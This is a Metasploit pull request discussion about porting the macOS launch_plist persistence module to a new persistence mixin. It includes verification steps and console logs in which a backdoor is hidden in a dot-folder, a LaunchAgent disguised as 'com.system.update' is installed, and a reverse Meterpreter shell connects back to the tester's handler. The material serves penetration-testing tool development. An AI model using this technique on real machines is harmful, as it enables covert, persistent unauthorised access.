update plist persistence to mixin

[h00die]

Updates persistence to the new persistence mixin, and changing the name to be more descriptive. Part of #20374

Verification

• Start msfconsole
• exploit the box somehow (ssh_login for instance)
• use exploit/osx/persistence/launch_plist
• set SESSION <id>
• exploit
• Verify persistence is created, and you get a new session if apt is run
• Verify cleanup works
• Document is updated and correct

[jheysel-r7]

Thanks @h00die.

One small thing. Currently the list_removal_paths method still runs, prints out a clean up command and is just slightly more comprehensive then the RC script. Do we want to remove that method in favor of the RC script?

Old method list_removal_paths

[*] To remove the persistence, run:
rm -rf /Users/msfuser/Library/.wJBiOPrK ; rm /Users/msfuser/Library/LaunchAgents/com.system.update.plist ; launchctl remove com.system.update ; launchctl stop com.system.update

RC script:

(devbox) ➜  metasploit-framework git:(97e6f36009) ✗ cat /home/msfuser/.msf4/logs/persistence/harambes-Mac.local_20250918.0800/harambes-Mac.local_20250918.0800.rc
rm /Users/msfuser/Library/LaunchAgents/com.system.update.plist

Testing

Running module

msf exploit(osx/persistence/launch_plist) > set payload osx/x64/meterpreter_reverse_tcp
payload => osx/x64/meterpreter_reverse_tcp
msf exploit(osx/persistence/launch_plist) > run
[*] Exploit running as background job 14.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 172.16.199.130:8723
msf exploit(osx/persistence/launch_plist) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. /Users/msfuser/Library is writable
[*] Dropping backdoor executable...
[+] Backdoor stored to /Users/msfuser/Library/.wJBiOPrK/com.system.update
[+] LaunchAgent added: /Users/msfuser/Library/LaunchAgents/com.system.update.plist
[!] To manually launch payload: launchctl load -w /Users/msfuser/Library/LaunchAgents/com.system.update.plist
[+] LaunchAgent installed successfully.
[*] To remove the persistence, run:
rm -rf /Users/msfuser/Library/.wJBiOPrK ; rm /Users/msfuser/Library/LaunchAgents/com.system.update.plist ; launchctl remove com.system.update ; launchctl stop com.system.update

[*] Meterpreter-compatible Cleaup RC file: /home/msfuser/.msf4/logs/persistence/harambes-Mac.local_20250918.0800/harambes-Mac.local_20250918.0800.rc
msf exploit(osx/persistence/launch_plist) >

Testing persistence

msf exploit(osx/persistence/launch_plist) > [*] Meterpreter session 7 opened (172.16.199.130:8723 -> 172.16.199.175:49154) at 2025-09-18 15:09:12 -0700

msf exploit(osx/persistence/launch_plist) > sessions -i -1
[*] Starting interaction with 7...

meterpreter > getuid
Server username: msfuser
meterpreter > sysinfo
Computer     : harambes-Mac.local
OS           : macOS Monterey (macOS 12.6.1)
Architecture : x86
BuildTuple   : x86_64-apple-darwin
Meterpreter  : x64/osx
meterpreter >

Cleaning up

meterpreter > shell
Process 1715 created.
Channel 1 created.
rm -rf /Users/msfuser/Library/.wJBiOPrK ; rm /Users/msfuser/Library/LaunchAgents/com.system.update.plist ; launchctl remove com.system.update ; launchctl stop com.system.update

[*] 172.16.199.175 - Meterpreter session 7 closed.  Reason: Died

[h00die]

Good looking out on that one!
Updated and working now:

meterpreter > run /root/.msf4/logs/persistence/h00dies-MacBook-Pro.local_20250919.4428/h00dies-MacBook-Pro.local_20250919.4428.rc
[*] Processing /root/.msf4/logs/persistence/h00dies-MacBook-Pro.local_20250919.4428/h00dies-MacBook-Pro.local_20250919.4428.rc for ERB directives.
resource (/root/.msf4/logs/persistence/h00dies-MacBook-Pro.local_20250919.4428/h00dies-MacBook-Pro.local_20250919.4428.rc)> rm /Users/h00die/Library/.VBXmZxLr/com.system.update
resource (/root/.msf4/logs/persistence/h00dies-MacBook-Pro.local_20250919.4428/h00dies-MacBook-Pro.local_20250919.4428.rc)> rm /Users/h00die/Library/LaunchAgents/com.system.update.plist
resource (/root/.msf4/logs/persistence/h00dies-MacBook-Pro.local_20250919.4428/h00dies-MacBook-Pro.local_20250919.4428.rc)> execute -f /bin/launchctl -a "remove com.system.update"
Process 3184 created.
resource (/root/.msf4/logs/persistence/h00dies-MacBook-Pro.local_20250919.4428/h00dies-MacBook-Pro.local_20250919.4428.rc)> execute -f /bin/launchctl -a "stop com.system.update"
Process 3185 created.
meterpreter 

[jheysel-r7]

Release Notes

This moves the plist exploit module into the new persistence directory. It leverages the new functionality for persistence modules, by adding the persistence mixin.